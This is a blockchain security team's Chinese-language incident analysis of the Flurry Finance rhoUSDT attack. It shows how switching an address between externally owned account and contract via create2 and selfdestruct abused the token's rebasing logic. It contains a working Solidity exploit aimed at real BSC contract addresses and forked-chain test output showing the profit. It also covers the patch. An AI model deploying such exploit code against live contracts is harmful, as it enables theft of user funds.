此篇文章由 Cobo 区块链安全团队供稿,团队成员来自知名安全实验室,有多年网络安全与漏洞挖掘经验,曾协助谷歌、微软等厂商处理高危漏洞并获致谢,在微软 MSRC 最有价值安全研究员 Top榜单中取得卓越的成绩。团队目前重点关注智能合约安全、DeFi安全等方向,研究并分享前沿区块链安全技术。
我们也希望对加密数字货币领域有研究精神和科学方法论的终身迭代学习者可以加入我们的行列,向行业输出思考洞察与研究观点!
此篇是Cobo Labs的第 11 篇文章
写在前面
在上一篇文章中具体分析了 Flurry Finance 攻击事件的完整攻击流程,但仍有一个细节受篇幅限制没有展开,本文将具体介绍。
在分析交易 0x12ec3fa2db6b18acc983a21379c32bffb17edbd424c4858197ad2286b5e5d00a[1] 的过程中发现了如下有趣的现象。
攻击者先向某个地址转入了一定数量的 rhoUSDT,然后在该地址上创建合约并将 rhoUSDT 转回。神奇的是仅通过这样的简单转账操作,就使攻击者获利 2000 rhoUSDT。
![Flurry Finance 攻击事件分析与复现(二):EOA 与合约的转化 Flurry Finance 攻击事件分析与复现(二):EOA 与合约的转化](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2022/04/2-1650942408.png)
这个获利只占攻击者整体获利的一小部分,因此容易被忽略掉。但从技术的角度看,仍值得深入分析一下。
再读 rebase 代码
上一篇文章提到过 RhoToken 是具有 rebase 机制的代币。本节具体从代码上分析这个 rebase 是如何实现的。对应合约实现在 0xbf1b03ef556bb415a8e74a835d1b1ab51bcf9392[2]。
先从 balanceOf()
入手,可以看到 RhoToken 合约内部将账户分为 rebasing
和 non-rebasing
两种类型。对于 rebasing
的账户,余额使用 _balances[account] * multiplier
表示最终余额。non-rebasing
则直接使用 _balances[account]
作为余额。multiplier 由 Vault 合约在 rebase 过程设置。Vault 的 rebase 计算逻辑可以参考上一篇文章。
注:本文中的 multiplier 指 rebase 后设置的倍数,为 1 左右的小数,值为 RhoToken 合约中 multiplier uint256 变量除以 1e36。
相关代码如下:
function balanceOf(address account) public view override(ERC20Upgradeable, IERC20Upgradeable) returns (uint256) {
if (isRebasingAccountInternal(account)) {
return _timesMultiplier(_balances[account]);
}
return _balances[account];
}
function _timesMultiplier(uint256 input) internal view returns (uint256) {
return (input * multiplier) / ONE;
}
/* multiplier */
function setMultiplier(uint256 multiplier_) external override onlyRole(VAULT_ROLE) updateTokenRewards(address(0)) {
_setMultiplier(multiplier_);
emit MultiplierChange(multiplier_);
emit RhoTokenSupplyChanged(totalSupply(), _timesMultiplier(_rebasingTotalSupply), _nonRebasingTotalSupply);
}
function _setMultiplier(uint256 multiplier_) internal {
multiplier = multiplier_;
lastUpdateTime = block.timestamp;
}
判定账户类型是 rebasing
还是 non-rebasing
通过 isRebasingAccountInternal()
完成。
function isRebasingAccountInternal(address account) internal view returns (bool) {
return
(_rebaseOptions[account] == RebaseOption.REBASING) ||
(_rebaseOptions[account] == RebaseOption.UNKNOWN && !account.isContract());
}
简单来说判定规则如下:
-
EOA 账户默认为 rebasing
类型 -
合约账户默认为 non-rebasing
类型 -
账户可主动通过 setRebasingOption()
方法修改账户类型
这样设计的初衷在于很多 DeFi 合约处理时不支持这类 rebasing
token,由于 rebasing
token 的 balance 可能在用户没有操作的情况下主动发生变化,会与许多合约内部维护的 balance 发生冲突。因此 RhoToken 选择默认不对合约账户开启 rebasing
。
账户可以通过调用 setRebasingOption()
主动进行账户类型的切换,切换时对合约内部维护的 _balances[account]
值也需要进行对应调整,以保证用户侧感知的 balanceOf()
数量保持不变。代码如下:
function setRebasingOption(bool isRebasing) external override {
if (isRebasingAccountInternal(_msgSender()) == isRebasing) {
return;
}
uint256 userBalance = _balances[_msgSender()];
if (isRebasing) {
_rebaseOptions[_msgSender()] = RebaseOption.REBASING;
_nonRebasingTotalSupply -= userBalance;
_rebasingTotalSupply += _dividedByMultiplier(userBalance);
_balances[_msgSender()] = _dividedByMultiplier(userBalance);
} else {
_rebaseOptions[_msgSender()] = RebaseOption.NON_REBASING;
_rebasingTotalSupply -= userBalance;
_nonRebasingTotalSupply += _timesMultiplier(userBalance);
_balances[_msgSender()] = _timesMultiplier(userBalance);
}
emit RhoTokenSupplyChanged(totalSupply(), _timesMultiplier(_rebasingTotalSupply), _nonRebasingTotalSupply);
}
简单来说:
-
当账户从 non-rebasing
切换成rebasing
时,其内部_balances[account]
将变成_balances[account] / multiplier
,balanceOf()
的值保持不变。 -
当账户从 rebasing
切换成non-rebasing
时,其内部_balances[account]
将变成_balances[account] * multiplier
,balanceOf()
的值保持不变。
由于账户类型不同,在进行 token 转账时,也需要对 rebasing
和 non-rebasing
账户单独处理。代码如下:
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override updateTokenRewards(sender) updateTokenRewards(recipient) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
// deducting from sender
uint256 amountToDeduct = amount;
if (isRebasingAccountInternal(sender)) {
amountToDeduct = _dividedByMultiplier(amount);
require(_balances[sender] >= amountToDeduct, "ERC20: transfer amount exceeds balance");
_rebasingTotalSupply -= amountToDeduct;
} else {
require(_balances[sender] >= amountToDeduct, "ERC20: transfer amount exceeds balance");
_nonRebasingTotalSupply -= amountToDeduct;
}
_balances[sender] -= amountToDeduct;
// adding to recipient
uint256 amountToAdd = amount;
if (isRebasingAccountInternal(recipient)) {
amountToAdd = _dividedByMultiplier(amount);
_rebasingTotalSupply += amountToAdd;
} else {
_nonRebasingTotalSupply += amountToAdd;
}
_balances[recipient] += amountToAdd;
emit Transfer(sender, recipient, amount);
}
function totalSupply() public view override(ERC20Upgradeable, IERC20Upgradeable) returns (uint256) {
return _timesMultiplier(_rebasingTotalSupply) + _nonRebasingTotalSupply;
}
transfer
参数中的 amount
与 balanceOf()
的逻辑保持一致。为了保证收款方收到数量与发送方发出数量一致,在更新双方的 _balances[account]
时也需要对应的乘上或者除去 multiplier。
转账时会同步更新 token 中的 _rebasingTotalSupply
和 _nonRebasingTotalSupply
,并以 _rebasingTotalSupply * multiplier + _nonRebasingTotalSupply
作为 totalSupply()
。这样可以保证在不同类型账户间互相转账后代币总量 totalSupply()
值不会发生变化。
mint()
和 burn()
函数也有这类针对账户类型的不同处理,这里不再赘述。
漏洞成因
深入细节可以看到 isRebasingAccountInternal()
中使用 account.isContract()
判断账户是否是合约地址。
function isRebasingAccountInternal(address account) internal view returns (bool) {
return
(_rebaseOptions[account] == RebaseOption.REBASING) ||
(_rebaseOptions[account] == RebaseOption.UNKNOWN && !account.isContract());
}
isContract()
实际是通过 extcodesize 指令来判定账户是否是合约地址。
// SPDX-License-Identifier: MIT
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
OpenZeppelin 的注释已经说得比较明确,该方法并不能准确地区分一个账户是 EOA 还是合约。
深入思考一下,可以发现在这种判定规则下,EOA 地址和合约地址可以在一些特定情况下进行转化。
EOA 地址可以转化为合约地址:
-
合约构造函数(constructor)执行时,code 为空,此时会将合约误判为 EOA 地址,合约创建完成后,又将被判定成合约地址。(这个技巧最为常见,在许多 CTF 题目中经常出现。) -
账户创建合约的地址是可以预测的。某个地址在合约创建之前,code 为空,此时将被判断为 EOA 地址,在该地址上创建合约之后,code 不为空,此时则又被判断成合约地址。
合约地址可以转化为 EOA 地址:
-
某个合约账户,在合约存在时被正常识别为合约地址。在合约自毁(selfdestruct)后,code 清空,此时又会被识别为 EOA 地址。
其中最自由可控的情况是 create2[3] 创建的合约。create2
指令使用 keccak256( 0xff ++ address ++ salt ++ keccak256(init_code))[12:]
作为要创建的合约地址。相比 create
指令使用 keccak256(rlp([sender, nonce]))
,create2
的合约地址不受 nonce
变化的影响,将始终位于同样的地址处,更易于提前计算。
因此可以
-
计算出某个 create2
合约地址,但不进行实际的部署。该地址即可被识别为 EOA。 -
通过 create2
在地址上部署(可自毁的)合约。部署完成后该地址将被识别为合约账户。 -
调用前述合约的自毁函数,自毁完成后该地址将再次被识别为 EOA。 -
上述创建合约和自毁操作可以重复进行,从而可实现EOA 和合约地址间的相互转化。
记住这个技巧,此时我们再看这个判定函数:
function isRebasingAccountInternal(address account) internal view returns (bool) {
return
(_rebaseOptions[account] == RebaseOption.REBASING) ||
(_rebaseOptions[account] == RebaseOption.UNKNOWN && !account.isContract());
}
通过实现 EOA 和合约地址间的相互转化 也就实现了 rebasing
和 non-rebasing
账户间的任意切换。相比于 setRebasingOption()
切换代码,这种特殊的切换 RhoToken 合约是无法感知到的,更无法自动更新合约内部维护的 _balances[account]
。
而 balanceOf()
计算逻辑却会因 isRebasingAccountInternal()
不同而产生变化。
function balanceOf(address account) public view override(ERC20Upgradeable, IERC20Upgradeable) returns (uint256) {
if (isRebasingAccountInternal(account)) {
return _timesMultiplier(_balances[account]);
}
return _balances[account];
}
利用转化前后 balanceOf()
值的差异,即可以实现获利。
根据合约中 multiplier 值实际情况的不同,可以利用以下方式套利:
-
当 multiplier > 1
时,使账户从non-rebasing
(合约)切换成rebasing
(EOA),balanceOf()
将变成 multiplier 倍,从而净赚multiplier - 1
比例的本金。 -
当 multiplier < 1
时,使账户从rebasing
(EOA)切换成non-rebasing
(合约),balanceOf()
将变成1 / multiplier
倍,从而净赚1/multiplier - 1
比例的本金。
攻击细节
在正常情况,合约中的 multiplier 是大于 1 的(除非投资出现损失)。但在 Flurry Finance 攻击事件中,由于攻击者通过闪电贷对 multiplier 进行了操纵,因此出现了 multiplier 小于 1 情况。
根据前述分析,当 multiplier < 1
时,可以将账户从 rebasing
账户(EOA)切换成 non-rebasing
账户(合约)来实现套利。这样攻击交易中的操作细节就比较容易理解了。
再来查当时的交易 trace:
![Flurry Finance 攻击事件分析与复现(二):EOA 与合约的转化 Flurry Finance 攻击事件分析与复现(二):EOA 与合约的转化](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2022/04/3-1650942408.png)
注:上图中数值已转化成方便人阅读的格式,而非原始 uint256 数值,存在细微精度误差,但不影响分析。
-
攻击合约取出当前的 multiplier 值 0.6359 和 nonRebasingSupply 值 5793.30 -
攻击合约向 0x5e47 地址转账 5793.30 * 0.6359 = 3683.99 的 rhoUSDT(忽略精度误差)。 -
通过 create2
在 0x5e47 地址处创建合约。 -
调用 0x5e47 合约的 0x1137decb 方法,将合约上全部的 rhoUSDT 转出。从 trace 中可以看出,此时因为 0x5e47 已经由 EOA 变成了合约,其 rhoUSDT 余额也由 3683.99 又变成了 5793.30。 -
攻击合约 rhoUSDT 由原本的 415409.73 变成了 417519.05,获利 2109.32 个 rhoUSDT。
上面攻击中有一个细节:攻击者使用 nonRebasingSupply 值来计算获利交易传输的 token 数量。原因是为了避免在 _transfer()
函数因 _nonRebasingTotalSupply -= userBalance;
算术溢出造成 revert。也正是因为这个限制的存在,导致攻击者无法利用这个方法进行更大规模的获利。而且由于这个限制存在,会导致攻击发生后有一部分原本正常的 non-rebasing
账户的 rhoUSDT 无法 transfer 或者 burn。
漏洞利用
根据前面的漏洞原理可以编写漏洞利用脚本,核心代码如下:
contract SelfDestructContract {
address rhoUSDT = 0xD845dA3fFc349472fE77DFdFb1F93839a5DA8C96;
constructor(){
IERC20(rhoUSDT).approve(msg.sender, 2**256 - 1);
}
function selfDestruct() external {
selfdestruct(payable(msg.sender));
}
}
contract Exploit{
address vault = 0x4BAd4D624FD7cabEeb284a6CC83Df594bFDf26Fd;
address rhoUSDT = 0xD845dA3fFc349472fE77DFdFb1F93839a5DA8C96;
address USDT = 0x55d398326f99059fF775485246999027B3197955;
SelfDestructContract tmp;
function attack() external{
IERC20(rhoUSDT).approve(vault, 2**256 - 1);
IERC20(USDT).approve(vault, 2**256 - 1);
uint256 rebasingSupply = IRhoToken(rhoUSDT).adjustedRebasingSupply();
(uint256 multiplier, ) = IRhoToken(rhoUSDT).getMultiplier();
uint256 amount = rebasingSupply * 1e36 / multiplier;
IVault(vault).mint(amount);
tmp = new SelfDestructContract();
IERC20(rhoUSDT).transfer(address(tmp), amount);
tmp.selfDestruct();
}
function harvest() external {
IERC20(rhoUSDT).transferFrom(
address(tmp),
address(this),
IERC20(rhoUSDT).balanceOf(address(tmp))
);
IVault(vault).redeem(IERC20(rhoUSDT).balanceOf(address(this)));
}
}
Fork BSC 高度 15484858 的区块,依次调用 attack()
, harvest()
,运行测试如下:
Exploit contract deployed to: 0x4BCD98b42fd74c8f386E650848773e841A5d332B
Assuming that the hacker has 500000U.
rebasingSupply 154966547532001023874250
multiplier 1050846493305243599605826465518234242
transfering 147468301525736993337214
tmp rebasing balance 147468301525736993337214
tmp non-rebasing balance 154966547532001023874249
rebasingSupply 2
Profit: 7498 $USDT
可以成功获利 7k 美元。完整的环境见 cobo-blog github[4]。
关于这个利用脚本还有一些需要解释的细节:
-
相比于前文 Flurry Finance 攻击交易中的情况,此时的 multiplier 没有被操纵,是大于 1 的,因此此漏洞利用脚本套利的方式与攻击交易中不同,使用将合约自毁转成 EOA 的形式获利。 -
由于 multiplier 与 1 相差较小(约 5%),因此示例代码执行后获利不多。 -
利用脚本中调用完 tmp.selfDestruct()
后,tmp 合约的 codesize 并不能立刻变成 0,需要等待整个交易完成。因此需要将转入和转回操作分成attack()
和harvest()
两个交易才能使用合约转成 EOA 生效。 -
由于需要分成两个交易,因此不能使用闪电贷,这里需要假设攻击者有一定初始资金才能进行攻击。
漏洞补丁
攻击发生后 rhoUSDT 合约进行了重新部署,新的 proxy 合约地址为 0xfe1168a882C46c94e381e775118e418ef1615315。新的 implementation 地址为 0x228265b81fe567e13e7117469521aa228afd1af1。
修改后的 RhoToken 合约如下:
contract RhoToken is IRhoToken, ERC20Upgradeable, AccessControlEnumerableUpgradeable {
modifier setDefaultRebasingOption(address account) {
// defaults to either REBASING or NON_REBASING, depending on whether account is a contract
// note the isContract() could be volatile, i.e. an EOA can turn into a contract in the future
// hence we set it to a value 1st time the account address is used in a transfer
// account owner still has the ability to change this option via setRebasingOption() at any moment
if (_rebaseOptions[account] == RebaseOption.UNKNOWN)
_rebaseOptions[account] = account.isContract() ? RebaseOption.NON_REBASING : RebaseOption.REBASING;
_;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override setDefaultRebasingOption(from) setDefaultRebasingOption(to) {
super._beforeTokenTransfer(from, to, amount);
}
function _isRebasingAccount(address account) internal view returns (bool) {
require(_rebaseOptions[account] != RebaseOption.UNKNOWN, "rebasing option not set");
return (_rebaseOptions[account] == RebaseOption.REBASING);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override updateTokenRewards(sender) updateTokenRewards(recipient) whenNotPaused {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
// deducting from sender
uint256 amountToDeduct = amount;
if (_isRebasingAccount(sender)) {
amountToDeduct = _dividedByMultiplier(amount);
require(_balances[sender] >= amountToDeduct, "ERC20: transfer amount exceeds balance");
_rebasingTotalSupply -= amountToDeduct;
} else {
require(_balances[sender] >= amountToDeduct, "ERC20: transfer amount exceeds balance");
_nonRebasingTotalSupply -= amountToDeduct;
}
_balances[sender] -= amountToDeduct;
// adding to recipient
uint256 amountToAdd = amount;
if (_isRebasingAccount(recipient)) {
amountToAdd = _dividedByMultiplier(amount);
_rebasingTotalSupply += amountToAdd;
} else {
_nonRebasingTotalSupply += amountToAdd;
}
_balances[recipient] += amountToAdd;
emit Transfer(sender, recipient, amount);
}
其中关键的修改:
-
实现了 setDefaultRebasingOption()
modifier,该 modifier 会根据地址是合约还是 EOA 设置一个默认的 RebaseOption。 -
_beforeTokenTransfer()
添加了setDefaultRebasingOption()
modifier。这样在transfer/mint/burn
操作前,均会为账户设置一个的 RebaseOption。 -
合约内部统一使用 _isRebasingAccount()
进行账户类型判断,该函数只使用前面设置的 RebaseOption 来进行判断,不会再对合约/EOA 类型进行判断。因此无论账户 EOA/合约类型如何转化,其rebasing
、non-rebasing
类型都不会再发生变化。
至此漏洞得到了修复。
总结
整体看来,本文分析的这种攻击方式比上篇文章中的闪电贷操纵 multiplier 要简洁许多,但也有更多的限制。
本文的攻击方式除了需要发现 RhoToken 合约中存在的漏洞外,还需要利用 EOA 与合约账户相互转化的技巧。攻击者不但需要熟练掌握合约层面的安全审计,还需要对以太坊底层的一些机制有所了解。
在传统安全攻防领域,攻击者与防守方的成本是非常不对等的。这种现象在区块链安全领域更加明显,防守方在各种层面上都处于明显的劣势。因此防守方必须持续提升安全技术能力,才能在持续的攻防对抗中取得胜机。
欢迎了解区块链安全、智能合约审计的研究者加入Cobo 区块链安全团队,共同参与到区块链安全建设中来,关注公众号 Cobo_Labs
私信可进行简历投递。
参考资料
攻击交易地址: https://versatile.blocksecteam.com/tx/bsc/0x12ec3fa2db6b18acc983a21379c32bffb17edbd424c4858197ad2286b5e5d00a
[2]RhoToken 合约: https://bscscan.com/address/0xbf1b03ef556bb415a8e74a835d1b1ab51bcf9392#code
[3]Create2 EIP 标准: https://eips.ethereum.org/EIPS/eip-1014
[4]cobo-blog github: https://github.com/CoboCustody/cobo-blog/tree/main/Flurry_attack_2
关于亚太最大的加密货币托管及资管平台 Cobo:我们向机构提供领先的安全托管与企业资管业务;我们向全球高净值合格投资人提供加密数字钱包业务和丰富灵活的定期与结构化产品,我们关注金融创新,并于 2020 年第三季度成立了第一家面向全球机构的基金产品「DeFi Foud」。
原文始发于微信公众号(Cobo Labs):Flurry Finance 攻击事件分析与复现(二):EOA 与合约的转化